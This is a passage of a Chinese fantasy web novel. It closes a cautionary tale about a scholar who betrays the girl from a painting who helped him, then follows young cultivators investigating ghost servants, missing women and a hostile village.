看着老母吃完饭,他耐着饥饿回到房间,开始读书,但是晦涩难懂的知识令他犯困,好容易捱到三更,终于放下书本打算上床睡觉,忽然看到搁在破旧床褥上的一筒纸卷。
哟,那幅画!
他本来没抱多大幻想,三文钱的画能好到哪里去。
但,毕竟,也是用一顿晚饭钱换来的,他找了个合适的位置,自己书桌后的墙面,端端正正地贴了上去,欣赏着这幅白雪红梅图,虬结的树根前,茫茫雪原里影影绰绰立着一个人影……
王冰晚上睡觉居然闻到了阵阵梅花香。
第二天回家,他看见自己家里多了一个穿红衫子的姑娘,十六七的年貌,体态婀娜,杏眼桃腮,正坐在炕沿边上跟他母亲说话,手里飞快地补着一件衣服,那正是王冰的衣服。
他脸皮薄,脸唰一下就红了。
姑娘早已看见王冰,噗嗤一声笑了:“是表哥回来了吗?舅妈且先坐着,我这就去张罗晚饭。”
王冰震惊极了,趁着姑娘去了厨房,急忙凑上去问自己母亲:“阿娘,那位是?”
王宋氏年纪大了,记不清事:“这个丫头啊是早上到咱家的,说是你舅舅的遗腹子,几个月前家里最后一位长辈也去世了,这才遵照你舅舅生前的嘱咐千里迢迢来到咱家,唉,也是个苦命的孩子。”
王冰暗想:“既然是表亲,为何以前从未来往?”
看着她在厨房里忙忙碌碌的身影又摇摇头:“我王冰穷小子一个,要钱要产都没有,人家能图我什么。恐怕是一个女孩子举目无亲无依无靠,这才找上了我们,也是个可怜人。”
姑娘手脚很勤快,吃完饭抢着去洗碗,王冰拗不过只好去看书了。
夜渐渐深了,万籁俱寂,此时房门被人敲响了,王冰以为是母亲急忙去开门,没想到看到了一张俏生生的面容。
表哥还不曾睡吗?
王冰吓了一跳,半夜三更这丫头好生没规矩!
她却自行往里走了,王冰不好意思不让。
表哥看的是策论?
是啊,妹妹也爱看吗?
她巧笑嫣然:“说出去怕表哥不信,妹子我看过的书比哥哥吃过的饭还多。”
是吗?不如你给我解释一下这段?
他本想刁难一下这个不知天高地厚的丫头,谁知她竟滔滔不绝,背着手在小小的屋子里摇头晃脑走来走去,洋洋洒洒一番见解听得王冰目瞪口呆。
立刻放下矜持跟妹妹请教,两人一讨论起学问忘乎所以,不知不觉居然都三更了。
王宋氏叫道:“月娜?月娜!这孩子……大半夜去哪里了,我得出去看看……”
姑娘玉面一红,立刻放下书跑了出去,临了回眸一笑,在一片昏黄烛光下如璀璨夺目的鲛珠、如朦胧月夜下悄然绽放的百合……
王冰不觉看痴了。
以后月娜便夜夜伴着他读书,红袖添香,她经常能举一反三,如数家珍般将毫无关联性的东西串在一起,从此,书上乏味的文字妙趣横生,艰涩生硬的知识经过月娜的讲解如同潺潺的泉水流入脑海中,如同石板上的刻痕烙印在心里,再也不会忘却。
王冰本来就勤奋上进,有了名师的指点更是如虎添翼。
临考前他有些忧虑,月娜便拉着他出来游玩桃园。
王冰现在哪有心情做旁的事,恨不得废寝忘食,把眼珠子粘在书本上,他有预感,这次自己一定能蟾宫折桂!
推说自己还要去习书。
月娜嘟起了嘴,天天学还不把人学傻了?不差这一会儿了,来吧。
月白风清,月娜是那样可爱迷人,王冰按捺不下跟着她走出了屋子。
万一我落榜了……
不会的,你的努力我都看在眼里呢。
出榜那天,很多富绅都在挑女婿,一看王冰的名字显赫地列在金榜第一,打听过后立刻将那个高高瘦瘦的年轻人三五个扯住了。
公子!娶妻了不曾啊?
公子,我家小女温良娴雅,相貌出众,与公子真是天作之合啊!
王冰立刻想到了月娜,姑娘夜夜陪着他读书,天下没有不漏风的墙,即便两人之间从未有半分逾越之处,发乎情止乎礼,但众口铄金,干干净净一个女孩子早已被邻居们说得不三不四了。
他实在对不起月娜,一心想着等自己考中秀才一定要报答她,若是月娜不弃,便三媒六聘娶她为妻。
他这么想着,急急推开那些抓住他的手臂,便想赶回家里。
少年英才,清癯如竹,温润如玉,出榜那一日,引得无数芳心为之暗许。
花烛摇曳,一双玉人双双对坐,一个娇羞妩媚,一个失魂落魄,红烛摇曳,朦胧的不知是烛光还是泪光,恍然又回到了自己的茅屋小舍,眼前一身红衣的可不就是笑靥如花的表妹月娜吗?
他掀开眼前笼罩的一片红云,看到的却是一张陌生的倾国倾城的面容,眼前的女子宛如富贵端庄的牡丹花,哪里是乡下丫头月娜能比的。
他的妻,是知县千金,不嫁官宦,不嫁富绅,却偏偏要嫁他这穷秀才。
千金小姐实在貌美,却也娇蛮任性,每时每刻都要王冰陪她游玩,拉着他参加各种各样的城中闺秀的聚会,宴席间低低娇咳一声,两只美目瞪他一眼,王冰便习以为常地夹起一筷子菜送到她嘴边,引得一阵恭维。
刘小姐真是幸福啊。
刘氏因为妒忌还打死了他房里一个奴婢,只因王冰对那丫头笑了一下。
王冰悔不当初,若是他当时竭力反抗,宁为玉碎不为瓦全,顶多被知县穿小鞋革除功名,大不了回到乡下跟月娜过着从前平平淡淡的日子,也好过现在,人在矮檐下,有苦说不出。
日日战战兢兢地伺候着自己的枕边人,看着她脸色行事。
不过,王冰的好日子很快也就来了,刘氏气大伤了身子,冬天跌了一跤后流产大出血而亡,知县气急败坏责令他没有照顾好自己宝贝女儿,将他下了大狱。
王冰时至今日才后悔不迭,哭泣自己的不幸,呼唤月娜的名字。
月娜啊月娜,好妹妹,是我负了你……
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万念俱灰之际,一个纸团打在了他头上,惊醒了昏昏欲睡的王冰,他还以为是自己的死期到了,吓得一身冷汗,颤抖着打开纸团,只见上面是娟秀的八个字,字迹无比眼熟。
兔死狐悲,断饮绝食。
他恍然大悟,开始绝食,天天在牢里哭刘氏。
终于知县闻之动容,怪自己迁怒无辜,将女婿无罪释放,一年之后又为他指定了一位大家闺秀。
这个妻子可比刘氏贤惠多了,现在只有王冰给别人脸色的份,他可算扬眉吐气了!
真是大难不死必有后福,他没忘记自己的高堂老母和恩师月娜,心里还是想和月娜再续前缘的,他现在娶了一位贤妻,月娜只好委屈一下给他做个妾,从此自己娇妻美妾在怀,也算坐享齐人之福了。
派人去自己老家接母亲和月娜,但一无所获,原来破败不堪的屋子早已倒塌。
据说老太太已经去世了,那,月娜呢?
看到那幅蒙尘的红梅图,王冰一时泪眼婆娑,轻轻擦去表面的灰尘。
此一生是我负你,来生做牛做马再报大恩。
从丧母之痛和失去所爱的悲痛中走出来后,他开始在妻子的鼓励下享受生活,他受了那么多年的苦,这些都是他应得的!
说来也怪,以前他穷苦时没有一个朋友,现在却忽然多出好多的铁哥们,不过这些好友太过热情豪爽了些,隔三岔五要轮流在城中最大的酒楼请客,这倒也没什么,但天擦黑的时候大家又转换了阵地,从酒楼到了烟花柳巷。
王冰第一次来这种地方,不由脸红心跳,两只眼睛不知该往哪儿看,只能局促地盯着自己的鞋面,几次三番告辞都被朋友们拦住。
欸,别扫兴嘛。
王兄这般清高,哪能跟我们一样,要不王兄你坐着听听小曲也好啊。
那就听听曲子,无伤大雅。
一来二去,他成了销金库的常客,从一开始的听曲渐渐放宽限制,开始跟姑娘们喝酒、划拳,某次喝醉了被人扶着进了一个花香四溢的房间里,如同做梦般飘飘欲仙,再醒来时,看着身侧的温香软玉,有什么东西不复存在了……
五年之后,王冰是在酒楼里被套上枷锁的。
他醉眼迷蒙,指着一干衙役大放厥词:“混账东西!你们可知我是谁吗?”
“嘿嘿,您不就是大名鼎鼎的王秀才嘛,抓的就是你!跟我们走一趟吧!”
刘氏之死真相大白,原来是王冰伙同一干奴才在安胎药中动了手脚。
本来大家都守口如瓶,觉得除了一个母夜叉好日子就来了,谁知江山代有人才出,王冰染上酒瘾赌瘾之后对下人的打骂变本加厉,甚至还不如刘氏在的时候。
知县勃然大怒,将一干恶奴乃至王冰判了秋后斩首。
王冰披头散发,再无翻身的可能,终于坠入了地狱之底。他抱着枯草迷迷糊糊地睡着,又看见了年少时的自己,冒着大雪回家,怀抱着热腾腾的梅花糕,自己的衣服都打湿了,嘴唇冻得发紫。
可是门一敲开,看见的却是一张明媚动人的笑脸。
哥!你终于回来啦!哟,这还带了礼物呢,让我看看是什么……
慢点吃小馋猫,等咱家的日子过好了,哥天天给你买好吃的,还要给你买一柜子的新衣裳。
哼,大话说得这么满,就怕你到时候想不起来我了。
你这丫头!好,若是我王冰有违此誓,就让我项上餐刀,不得好死!
……
32. 大师兄与紫霄剑
鸢歌,芙蕖观。
身着白道袍的年轻男子手执长剑,舞动之间翩若游龙,他几乎不睁眼,全凭感觉,剑刃却能接住空中飘落的片片落花。
后山一般是没有人来的,清晨的松脂香被微风送入鼻腔,空山鸟鸣声声,显得越发寂静,只剩下剑刃破风的萧萧嗡鸣。
可是没过多久,这份静谧就被某人强势打断了。
“大——师——兄——”
中气十足的声音在山间回荡,惊起鸟雀四散飞离,独孤叶晴转身,睁开了寒霜凛冽的双眸,目光落在了正在山道上朝自己奔跑而来的一抹浅橙色身影上,仿佛是一缕投射进山林的灿烂日光。
“大师兄!我就知道你又躲这儿来了!”
慕容纤两手叉腰站在他面前,鬓角沁出细密的汗珠,显然又是一路从山下跑上来的。
独孤叶晴垂在身侧的手微微一动,最终弯腰拿起了石台上的剑鞘,还剑入鞘坐在了青石上,但留出了大片的空隙。
慕容纤想也没想就坐在了师兄旁边,她盘起双腿跟童子坐禅一样,身子摇摇晃晃。
独孤叶晴微不可察地瞥了她一眼,随即移开了目光看向远处云雾缭绕的峰峦,云海中一线浅金色晕染开来,太阳快要升起了。
“无事不登三宝殿,是不是又闯祸了?”
慕容纤一拍手,惊奇地瞪大眼睛:“师兄你神了,你怎么猜到的?”
独孤叶晴未至一词,慕容纤滔滔不绝地讲了起来,讲到自己在王家老宅遭遇鬼新娘袭击时,独孤叶晴原本气定神闲的面容顿时紧绷起来。
“可有受伤?暮雪也是,怎么能让你一个人去那么危险的地方?”
他的手指微微蜷缩,随即低下了头,似乎意识到自己说话欠妥:“别再偷偷下山了,你功力尚浅,好好修行才是正经……”
慕容纤两只手搭在了他膝盖上,面露哀求:“我知道了师兄,但是现在火烧眉毛了,我的紫霄剑让女鬼给糟蹋完了,万一师父问起来我肯定吃不了兜着走,师兄再发发慈悲救我一次!”
慕容纤掌心的温度透过衣料渗入了他的皮肤,这温度似乎还在上移,独孤叶晴轻轻撤开自己屈起的膝盖,原本踩在青石边沿的脚落在了地面上,慕容纤却没有察觉异样,双手合十继续祈祷。
“师兄,拜托了拜托了,我保证这是最后一次!”
独孤叶晴清咳两声:“你每次都是最后一次……罢了罢了。”
他手中灵光一闪,掌心出现了一把古朴长剑:“先拿着应急,紫霄剑等我修好了再给你,若师父问起就说被我借走了,其余你不用管。”
慕容纤喜不自胜地接过独孤叶晴手里的剑,由衷感叹道:“谢了啊师兄,你真是比亲哥都靠谱。”
“没事了就回去休息吧,这几天累坏了吧?”
“不用,不知怎么的看见师兄好像就不累了,离晨课还有一段时间,我们再聊会儿。”
“好。”
……
是夜,慕容纤散步回来看见藏书阁的灯还亮着,以为是谁临走时忘记熄灯了,刚走进去就发现独孤叶晴还端坐在桌案后,手里奋笔疾书。
“师兄,干什么呢?”
慕容纤走了进来,她最讨厌写字了,因为经常被师父罚抄,写得手腕疼看得眼睛疼坐得浑身都疼,所以看到师兄在抄东西,也懒的去看那些内容。
独孤叶晴不动声色地拿一张白纸盖上了抄写的内容,抬眸看向她,淡淡地解释道:“心里有些烦乱,写写字静一下,你呢?这么晚了为何还不休息?”
慕容纤伸了个懒腰:“马上就回去了,看到藏书阁没熄灯进来看看,师兄你早点休息啊,我走了,明天见。”
说着她转身挥挥手离开了。
“嗯,明天见。”
独孤叶晴看着她的背影消失在门口这才又将目光落在眼前的书页上,山规密密麻麻罗列其上,一天之内要抄写两百遍除非彻夜不眠。
孤灯静静燃烧着,室内只剩笔尖落在纸面上的沙沙声,直至清晨,他将抱起来几乎高到鼻尖的一摞纸送进师父的书房,过了大概一盏茶的功夫里面老者责备的声音才停止,独孤叶晴拿着一把完好的紫霄剑轻轻退出师父的书房,恭恭敬敬地合上门,抬脚往后山走去。
这个时候,距离晨课还有一段时间,太阳还未升起。
花开两朵各表一枝,再说林瑶,自从夏明钰逃走后她几乎是日以继夜地寻找,但是一无所获。
一个雨夜,夏明钰坏事做绝终于被一个老道给收拾了,林瑶哭得死去活来,郁霄不知何时赶到,他本来打着伞,看见林瑶瘫软在地立刻丢掉伞将她抱在怀里:“事已至此,你要保重身体。”
林瑶本就元气大伤,悲痛过度竟晕了过去,郁霄抱着她上了马车,看着她憔悴的面容轻叹道:“分别短短数日,你就把自己弄得这副样子。”
车夫问道:“殿下,先送林姑娘回夏府吗?”
郁霄看了看怀里的清艳女子,淡声道:“她身体虚弱,禁不起颠簸,回王府别院吧。”
林瑶醒来看见床边坐着一个人,她头昏脑热的还以为是星辰宫,岂料眼前一切富丽堂皇,再看郁霄,身着玄色蛟纹服,头带狮面金冠,显然是刚从凤城回来就遇上她了。
林瑶撑着床坐了起来:“这里是……”
郁霄微微侧首道:“我家,你病得厉害,情急之下只好……现在感觉如何了?”
林瑶胡乱点点头,这才发现自己的道袍不知何时换成了一套干净的水绿色衫裙,这是最近时兴的凡间女子的衣裳样式。
林瑶还没说话,郁霄已经站了起来,吩咐道:“来人,照顾好林姑娘,不可怠慢。”
四个一般个头的小丫鬟鱼贯而入,齐齐娇声应是,郁霄出去以后,其中一个小丫鬟道:“姑娘有何吩咐?”
林瑶现在脑子非常乱,只记得自己没能救下夏明钰,胡乱问道:“现在什么时辰了?”
“回姑娘,您已经昏睡四个时辰了,现在是巳时。”
“……世子回来就一直在这里?”
小丫鬟道:“殿下的事奴婢不敢乱说,姑娘还有什么要问的吗?”
看来关于郁霄的事情是不能指望这些小丫鬟回答她了。她惊奇地发现,这四个小丫鬟除了衣服颜色不同,面容长相居然一模一样,惊讶道:“你们是孪生姐妹?”
其中一个小丫鬟笑嘻嘻道:“是啊,我们长得很像吧?除了殿下没人能分清我们谁是谁。”
“姑娘的衣服已经浣洗了,可巧今天是阴天还未晾干,姑娘先将就一下吧。”
“这衣服是哪儿来的?”
这衣裙明显是一个少女的,可是郁霄没有姐妹,匆忙之中居然能给她找到换洗衣物。
“这是殿下打算送给四公主的生辰礼物,先拿出来应个急。”
林瑶笑道:“殿下真是抬举我了,送公主的礼物怎好给我穿呢?”
小丫鬟们对郁霄的行踪不清楚,或者是讳莫如深,可是却知道一件衣服的来龙去脉,显然是被人授意的。
夜半三更,林瑶悄悄离开王府,跟踪那个老道士,发现自己弟弟确实已经没有任何气息了,又忍不住伤心起来,老道士去鬼市喝醉了,林瑶本想偷偷拿走他的镇邪葫芦,却在包里还发现了一张悬赏令。
“三足金乌?这是谁与我姐弟二人过不去?”
林瑶回到王府,又看见了那四个一模一样咯咯娇笑的小丫鬟,个个长得粉雕玉琢,林瑶笑道:“世子不在家吧。”
小丫鬟们一如既往回答不知道。
你们不知道我知道。
林瑶温声道:“你们不是说除了世子没人能分清你们吗?胡说八道,我就能分清。”
一个小丫鬟道
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:“那我们打个赌如何?”
林瑶眨眨眼:“赌什么?”
小丫鬟笑容狡黠:“等会儿你就知道了。”
白森森的牙齿闪过一丝寒光。
林瑶道:“我若赢了你们就得答应我一个条件。”
小丫鬟道:“从来没有人猜对过,你输定了。”
林瑶道:“好,先告诉我你们的名字。”
小丫鬟道:“我叫娇娘,她叫玉娘,那两个一个叫丽娘一个叫十娘。”
林瑶道:“好,这样吧,玉娘替我倒杯热水来,丽娘去拿杯冰块,十娘拿杯井水,至于娇娘你什么也不要做。”
娇娘狐疑道:“姑娘在耍什么花招?”
林瑶无辜地眨眨眼:“没有啊,泡杯禅茶而已。”
娇娘:“那奴婢去拿茶叶吧,姑娘想要什么茶?”
林瑶轻笑:“随意。”
一会儿四个小丫鬟来了,换了一模一样颜色的衣服,依次将手里的东西放下,林瑶微微一笑。
一个小丫鬟笑嘻嘻道:“姑娘不会是想凭我们拿着的东西辨别我们谁是谁吧?实话告诉你,我们可没有按照你的要求去做哦。”
林瑶露出一丝了然的笑容:“交换任务了?”
小丫鬟眨着大眼睛,眸中闪烁着诡异的光芒:“您没有说不可以啊。”
林瑶道:“不用猜了,你是娇娘。”
娇娘还没意识到自己是个话痨,气呼呼地转身退到一边,随后又笑嘻嘻道:“这样吧,我们换个玩法,我来给姑娘出题怎么样?”
林瑶甚觉新奇:“好啊!”
四个人嘀嘀咕咕半天,最后各自亮明了身份,真是,的确是给林瑶出了道“难题”。
玉娘道:“娇娘没有拿茶叶。”
娇娘道:“十娘拿的是热水。”
十娘道:“丽娘拿的不是井水。”
丽娘道:“玉娘、娇娘、十娘中有一个人拿了热水,只有我和她说了真话。”
林瑶假装沉吟了一会儿,给小姑娘们一点面子,毕竟这种游戏从小尹星灯就教她玩,屡试不爽啊!
“玉娘拿的是热水,娇娘是冰块,十娘是茶叶,丽娘是井水。”
娇娘脸色忽变:“你……不可能……”
林瑶一拱手:“承让了,我想看看你们的奴契。”
“奴契不在她们手上。”
林瑶一回头看见郁霄站在自己身后,郁霄抬手让丫鬟们退下,温声道:“林姑娘若是好奇,我可以带你去书房一观。”
林瑶笑道:“其实鬼市的阴仆出售前都会在手臂上盖一个店主的印章,殿下不知道吧?”
郁霄脸色发白,但依旧谈笑自若:“用的顺手便是,我不大在意这些。”
“为何不找几个活人使唤,殿下这般委屈自己,倒让林瑶觉得心酸。”
“活人的心思太多,哪像它们,最多不过是耍耍心眼吸我几滴血而已,在家里,我还是想好好休息一下……林姑娘对这些阴仆的来历感兴趣?”
林瑶转过头,语气陡然变冷:“殿下在鬼市买过不少东西吧,你自然不用亲自去,可是免不了有粗心的燕卫把你的印纹落下,我刚好捡到一张,殿下看看是不是你的?”
她转身手里拿着一张红叶纸,只展开一个角,露出一方三足金乌的印纹。
郁霄端详了半晌:“的确像是我的,不过我的玉印丢过一次,我想着既然是在鬼市丢的,找到便是,懒得去追查丢失的那段时间发生过的交易。”
林瑶笑了:“真的好巧,偏偏你的玉印丢过,如此说来此事跟你毫无瓜葛了。”
郁霄:“你说的我一头雾水,究竟是什么事?”
两人僵持不下间,一个少女声音传入院子,苏潋影扒着门框探进来一个脑袋,朝他们招招手:“瑶瑶姐你们快来!白洛溪抓住了一个水鬼!”
33. 南宫问瑶
披头散发、浑身湿透的中年男人被人一脚踹倒在地,白洛溪拍拍手上的灰尘,倨傲地扬着下巴,眸中绿芒乍现。
“说,以前坠河失踪的那些姑娘,被你带到哪里去了?”
蜷缩在地上的男人被踹的不停地吐出发绿的污水,苏潋影看着眼前场景微微蹙眉,脱口而出道:“半妖?怪不得能潜伏在水底那么长时间。”
郁霄紧捏着手中折扇,骨节泛白,一甩袖子似乎对这个打死不开口的半妖彻底失去了耐心。
“没用的,这种人一看就是死士,被雇主彻底控制了的,可能父母妻儿都在别人手上,就算打死他也不会轻易开口的。”
苏潋影托着腮无奈地陈述事实。
白洛溪朝她伸手:“苏苏,你家不是擅长炼制蛊毒吗?你有没有随身带着?”
“啊?”苏潋影不可置信地看向白洛溪,“你不会要给他用吧?会死人的!”
郁霄也看向了这两人,眸色微沉,也向苏潋影伸出手:“苏姑娘若是不忍,让我来,此等恶徒为虎作伥,死又有何辜。”
苏潋影左右看看这两人,挥手打开了他们两个伸出的手,冲到那个死士面前语重心长道:“你也看到了,你现在怎么着都是个死,就算死里逃生回去了,你雇主为了以防万一肯定不能留你,我们是去救人的,不是去灭口的,说不定到时候连你家属一块儿救了啊!”
那死士别过头往地上啐了一口绿水:“老子凭什么相信你?”
苏潋影轻笑:“就凭我现在跟你是一个阵营的,你可以绑了我去见你雇主,接下来的就不用你管了,怎么样?”
死士脸上的表情僵住了,半晌才面露惊恐道:“你疯了?你可知那是什么地方?就算你们三人都去了,也是有去无回,死无葬身之地,尤其是你,”他微微泛着绿光的眼眸死死盯着苏潋影,一字一顿道,“他们会喝你的血、吃你的肉,连骨头渣子都不剩。”
苏潋影凝眉深思:“食人族?”
死士冷笑,眸光颇带些揶揄地看向苏潋影嫩到似乎能掐出水的脸蛋:“真是蠢得令人发笑,小娃娃,还是回家多吃几年干饭再出来行侠仗义吧,那地方不是你该去的,我也不会出卖我的雇主,要杀要刮悉听尊便。”
好嘛,一整个滚刀肉,软硬不吃油盐不进。
苏潋影气得抓心挠肝间,林瑶走了出来,淡声道:“让我来吧。”
苏潋影抬眸看她,深感意外,怎么看林瑶也不像是会刑讯逼供的人啊。
林瑶朝其他人微微颔首:“还请三位先移步前厅稍等片刻。”
苏潋影等人在外面等着,不多时里面传来了男人压抑的哭声,苏潋影高高挑起一边的眉毛,不一会儿林瑶脚步匆匆地出来了,面带犹豫道:“他们的总舵血衣教在蓝羽村,此人说他们只负责抓走那些落水的女子,以河神传说掩人耳目,实则是偷偷运往了雾山下的蓝羽村,具体血衣教的人拿这些女子做了什么他们也不清楚,现在出发吗?”
众人皆是神色凝重,郁霄道:“事不宜迟,我去准备马匹,马上出发去蓝羽村。”
在这个空当里,苏潋影实在按捺不住好奇心偷偷捅捅林瑶的胳膊肘:“瑶瑶姐,他怎么就突然肯吐露实情了?”
林瑶笑得圣光普照,很是习以为常道:“人性本善,即使是犯了再大的错误,只要还有悔过之心,都值得被宽恕,而且我一直认为,只要不是为了一己之私所犯的错误那或许值得我去救赎。”
苏潋影恍惚了一下,总觉得这场面有种似曾相识的恐怖。
林瑶回头瞥了一眼关押那死士的院子,微微蹙起了眉:“虽然他真的很该死吧,掳走了那么多无辜女子,但为了套出话,我只能先昧着良心善意地欺骗他一下了。”
苏潋影彻底傻了,不是,我刚还以为你是朵纯洁无暇的白莲花,原来是黑芝麻汤圆啊姐姐!
苏潋影晕乎乎跟着汤圆……是跟着林瑶出了别院。
一路无书,一行人到了雾山脚下的蓝羽村。
洛河的下半段将富饶的凤城与这个看起来贫穷落后的小村子隔绝开来,离村子还有百里,道路如同羊肠,崎岖狭窄,只容一人通过,五个人只好弃马步行。
到了村口天已经黑了,村子的全貌也出现在眼前,入目几乎全是灰蒙蒙的土坯墙,残损的瓦片挂在屋顶,路面高低不平,大片的积水聚集在地上,往远处看,三面环山,黑压压俯视着整个村子。
林瑶环视一圈,自言自语般轻声道:“风水太差了。”
郁霄苦笑道:“岂止是差,山穷水恶,这村里的人坚守着祖宗的土地不肯搬出去,后来年轻人渐渐被官府劝活络了心思,萌生出想要离开的念头,谁知却被村长等人察觉,强行驱赶了凤城派去的官员,那些年轻人受了极重的惩罚,此事也不了了之。”
楚纤茉听得毛骨悚然,握紧了苏潋影的手,问道:“怎么还有这样顽固不化的村子,凤君不怕他们造反吗?”
郁霄摇摇头,脸上的笑意愈发苦涩:“家父何尝不忧心忡忡,只是,法难责众投鼠忌器,说来惭愧,至今都没有妥善解决蓝羽村的问题。”
一行人边说边走进入了蓝羽村。
林瑶似有所悟道:“以前听我师父说,玄都以北有个黑狗村,似乎也是愚昧闭塞,村子里的一些老人食古不化,极难管束,不知后来是怎么处理的?”
郁霄摇摇头,神色愈发凝重:“这些事都属于秘史,皆被万仙盟和当时帝都掌权者压下了,我说出来几位藏在心里就好,不然恐给几位招来灾祸。”
见众人点头应允,郁霄才深吸了一口气,黯然道:“九百年前,有个年轻修士奉师门之命去黑狗村阻止当地淫祭,这村子里有一种邪术可以压制修士灵脉,无疑,此人羊入虎口,被百般折磨,剜眼拔舌、钢针缝住上下嘴唇、最后以铡刀斩首,此人死后怨气难消化作凶煞厉鬼屠了整个村子,男女老少,无一幸免。”
三个姑娘已经是脸色惨白,尤其是林瑶,这跟她了解的版本不一样,尹星灯给她讲这些事情时,总是会避开过于血腥残忍的情节,这般用心良苦也不知是好事还是坏事。
“后来呢?屠村到底是十恶不赦、罪孽深重之事,那个修士怎么样了?”
不知是谁问了一句。
郁霄道:“这修士已死,乃是阴灵,若是再受天罚必然魂飞魄散,但据我所知,关于此案,最终被带上凌云殿受罚的不是阴灵而是一个惊鸿期女修,最后被大司命判了抽筋剔骨之刑,罚入孽镜台十世轮回,生生世世命格凶恶,无福无禄枉寿长,几乎是绝境求存。”
众人皆是心情沉重,楚纤茉更是触景生情,命格凶恶、绝境求存,自己又何尝不是如此。
苏潋影捏紧了她的手,用只有她一人能听见的声音道:“不是你,这么凶残的命格你根本扛不住。”
听了后半句,楚纤茉原本要夺眶而出的泪水硬生生凝滞在了眼眶里。
谢谢,真的有被安慰到。
苏潋影笑嘻嘻在她脸上亲了一下:“就算你是天生的倒霉蛋,但你还有我这个幸运星在旁边啊,咱俩中和一下,算是不好不赖,阴阳调和了,凑合着过一辈子吧。”
眼看天已经黑了,狂风骤起,天空更是阴云密布,郁霄瞥向几家点起灯的农户,然后看向身边众人:“天色已晚,谁比较有亲和力一点,去给咱们借个宿?”
苏潋影忙举小手:“我我我!”
楚纤茉也表示想去。
郁霄微笑着点头,两人兴高采烈地去了,不一会儿让农户们骂得跟三孙子一样垂头丧气地回来了。
“他们好像不太欢迎我们这些外乡人。”楚纤茉低垂粉颈,低声汇报自己遇到的情况。
苏潋影脸色奇差:“岂止是不欢迎啊,我再说两句都快放狗撵人了,一群刁民!”
正说着,忽然之间天空打了几个闪。
苏潋影抬头,瞅着宛如银龙腾舞的天空一脸菜色:“不是吧?”
倾盆大雨呼啸而至,不一会儿五个人都成了落汤鸡,这可真是屋漏偏逢连夜雨,更惨的是连个躲雨的地方都没有。
林瑶用湿漉漉的袖子抹去满脸冰冷的雨水,勉强睁开眼睛环顾一圈,指向村西头高处一座建筑:“去那里吧,好像是个祠堂。”
等跑到祠堂时个个顺着下巴滴水,冻得直打哆嗦。
白洛溪倒是见怪不怪,毕竟他水陆两栖,经常搁水里泡着,见苏潋影浑身湿透了,于是体贴地脱了自己的长衫想给她披上,被对方言辞激烈地拒绝了。
“谢谢!不穿蛇皮!更何况湿漉漉的蛇皮,你要是真关心我,好歹生个火啊。”
白洛溪尴尬地挠挠头:“你这不是为难蛇嘛,我最怕火了,
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哪里会生火啊。”
苏潋影将目光锁定了郁霄,对方也是一脸无奈:“实在不好意思,在下只会一点粗浅拳脚,没有喷火吐水的本事,现在也找不到引火之物,就算有,不好意思我没带火折子。”
林瑶也难为情地垂下头:“不好意思苏苏妹妹,师父还没教我五行转化之术,要不我把魂灯拿出来先照个亮吧……”
苏潋影泄气地坐在地上。
我方阵容看似强大实则一帮low货,就这还征缴血衣教呢?
想到这里不禁长叹一声:“奈何我的属性都点攻击上了,好羡慕裴道长那样的符修啊,画的符咒用来驱鬼厉害,没事还能拿来改善生活……我以后一定要当符修。”
楚纤茉坐在她身边,脑袋无力地靠在她肩膀上:“别说公鸡了,我好饿啊……”
苏潋影忽然灵光一闪,从挎包里拿出一只湿漉漉的小红旗插在地上开始默念。
天灵灵地灵灵,保佑这离火旗还能用啊。
呼啦一声,离火旗着了起来,火焰腾腾映亮了每个人的脸庞,苏潋影感动地都快哭出来了,都泡得滴水了、都泡烂了居然还能用,早知道多坑某道长几张了,实在是居家旅行必备好物啊!
她这厢一脸动容谢天谢地呢,旁边的醋坛子都快发酵了……白洛溪冷冷瞥了一眼中间熊熊燃烧的离火旗:“哼,有什么可厉害的,有本事着一晚上啊。”
于是众人的衣服都烤干了,那面巴掌大的旗子还在发光发热,仿佛一只傲娇的小火鸡……就离谱!
借着火光映照,众人看清了这是一座庙宇,神龛上供奉着一只三青鸟雕塑,泥塑惟妙惟肖,青鸟有三首,中间一首微微阖着双眸,看起来有些悲天悯人,左右两首却怒目横眉,大张着嘴,脖颈上青羽倒竖,看起来颇为凶残。
苏潋影看着那只青鸟有些摸不着头脑,越发觉得这个蓝羽村有点邪性,不供王母供青鸟,长这么大没听说过。
苏潋影将目光从雕像上挪开,打量身旁的林瑶,实在无聊就胡扯八扯起来了。
“瑶瑶姐,你师父真的那么十恶不赦嘛?”
正在盯着火焰发呆的林瑶这才回过神来,她垂眸淡然道:“也没有吧,师父不钻牛角尖的时候还是挺好相处的。”
苏潋影一点点凑近了她,双手托腮摆好了听八卦的姿势:“那你为什么还要跑?”
家丑不可外扬,林瑶压根不想跟外人提起,再三搪塞,奈何苏潋影死缠烂打,无奈只好含蓄委婉道:“这么说吧,我师父他想换个身份继续陪在我身边……”
苏潋影一拍大腿:“我懂了,他觉得当师父没有亲和力,想跟你拉近距离,他想当你干爹对不对?”
林瑶攥紧了拳头,感觉眼前一黑,忍着想吐血的冲动继续委婉含蓄道:“不是啊……他若想当我义父也不是不可以,我纳头便拜。”
苏潋影见她支支吾吾,越发觉得里面有惊天大瓜,无法抑制地刨根问底:“那是什么,他想当你叔?想当你三姑?”
林瑶痛苦地按住突突直跳的太阳穴,求饶般冲她拱手作揖:“别猜了,我这么跟你说吧,假如我现在有个孩子,我师父想让这个孩子管他叫爹,管我叫娘……”
苏潋影托住了自己惊掉的下巴,防止掉地上:“就是他看上你了呗,那你绕这么大个圈子干嘛?”
林瑶玉面通红,几乎将脸埋进了膝盖里,闷声道:“我难以启齿……”
苏潋影若有所思:“这是师徒恋啊,你师父思想还挺前卫的,要放在青澜宗、九云府那些保守的门派,这会儿你都成为众矢之的了,你师父都该拉出去枪毙了。”
林瑶弱声辩解道:“什么啊,我还没答应呢……”
苏潋影点点头,重新下了定义:“那就是恋徒癖,骚扰女弟子也不行啊,你等会儿写封匿名信,我家里有人,上呈万仙盟凌云殿,你师父高低得判几年,等他刑满释放,你都已经嫁人了,都儿女双全了,他也掀不起什么风浪了。”
林瑶想象了一下觉得还是不敢想象,太恐怖了,这计划施行到第一步她的好日子就到头了,尹星灯怕是会跟她同归于尽吧。
她们两人在角落里聊天,楚纤茉忽然惊叫一声迅速躲到了苏潋影身后,脸埋在苏潋影后背上,一手指着窗户颤声道:“外面有人在看我们……”
“谁在外面!”
34. 她是修士
郁霄已经站了起来,眸光凛冽盯着楚纤茉所指的方向,厉声喝问。
